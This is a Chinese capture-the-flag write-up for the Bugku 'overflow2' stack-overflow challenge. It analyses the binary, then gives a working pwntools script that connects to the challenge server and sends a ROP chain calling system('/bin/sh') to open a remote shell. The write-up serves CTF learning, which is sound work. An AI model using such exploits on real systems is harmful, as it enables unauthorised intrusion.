【bugku】overflow2

1、题目描述:给了nc的地址和端口,和一个附件

2、在kali中使用file命令分析该文件,checksec查看是否有保护机制

该文件是ELF格式的可执行文件,适用于64位的系统

没有启动栈保护

3、结合题目描述overflow,推测是栈溢出

4、用ida64分析文件,先查看主函数,这段主函数的关键就是,它定义了一个数组大小是4,而read函数在读取的时候,是读取它的0x100ull这超出了数组的范围,会导致栈溢出

5、双击buf查看buf数组的栈结构,根据这两个关键的数据我们可以知道

  • Frame size: 20:这表示栈帧的总大小为 32 字节(20 是 32 的十六进制表示)。栈帧是每个函数调用在栈上分配的内存区域,用于存储局部变量、返回地址、保存的寄存器等。
  • Saved regs: 8:这表示保存了 8 字节的寄存器信息。通常这 8 字节用于保存调用函数的返回地址。

6、通过shift+f12来查看调用了哪些函数,这里看到了一个脚本函数,双击/bin/in查看程序地址,查看system函数调用的地址

7、寄存器rdi的地址:

8、构造exp:

from pwn import *
# sh = process('./pwn')
sh = remote('114.67.175.224', 11584)

sh.recvuntil(b'Please Input your name')

pop_rdi_ret = 0x40126b
system_addr = 0x401050
binsh_addr = 0x402004

payload = b'a'*32 + p64(1) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sh.send(payload)
sh.interactive()

我们通过构造rop链来执行system("/bin/sh")这个命令,在使用system函数时,它的第一个参数,需要放在rdi寄存器中,而这个参数就是/bin/sh。因此,我们需要rdi,后门函数/bin/sh,system函数这三个地址来构造一个rop链。

9、

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值